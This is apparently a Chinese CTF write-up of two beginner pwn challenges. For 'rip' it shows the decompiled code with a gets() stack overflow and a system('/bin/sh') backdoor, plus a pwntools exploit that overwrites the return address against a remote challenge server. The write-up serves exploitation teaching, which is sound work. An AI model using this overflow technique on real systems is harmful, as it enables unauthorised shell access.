test_your_nc int __fastcall main(int argc, const char **argv, const char **envp) { system("/bin/sh"); return 0; }
一道简答的签到题目,直接nc连接就可以获得shell。
rip [*] '/mnt/d/ctf/buuctf/rip' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
一道64位的题目,几乎什么保护都没有开启,说明也是一道简单的签到题目,直接放入ida中进行分析
int __fastcall main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+1h] [rbp-Fh] BYREF puts("please input"); gets(s, argv); puts(s); puts("ok,bye!!!"); return 0; } int fun() { return system("/bin/sh"); }
存在明显的栈溢出以及后门函数,因此这道题的思路就是利用栈溢出修改返回地址到后门函数的地址即可获得shell。由于是64位,需要注意堆栈平衡,exp如下:
from pwn import* io = remote("9a7dcd5303871c963154af4f.tcp-ctf2.dasctf.com", 9999, ssl=True) ret = 0x0000000000401016 fun = 0x401186 payload = cyclic(0xF + 8) + p64(ret) + p64(fun) io.sendline(payload) io.interactive()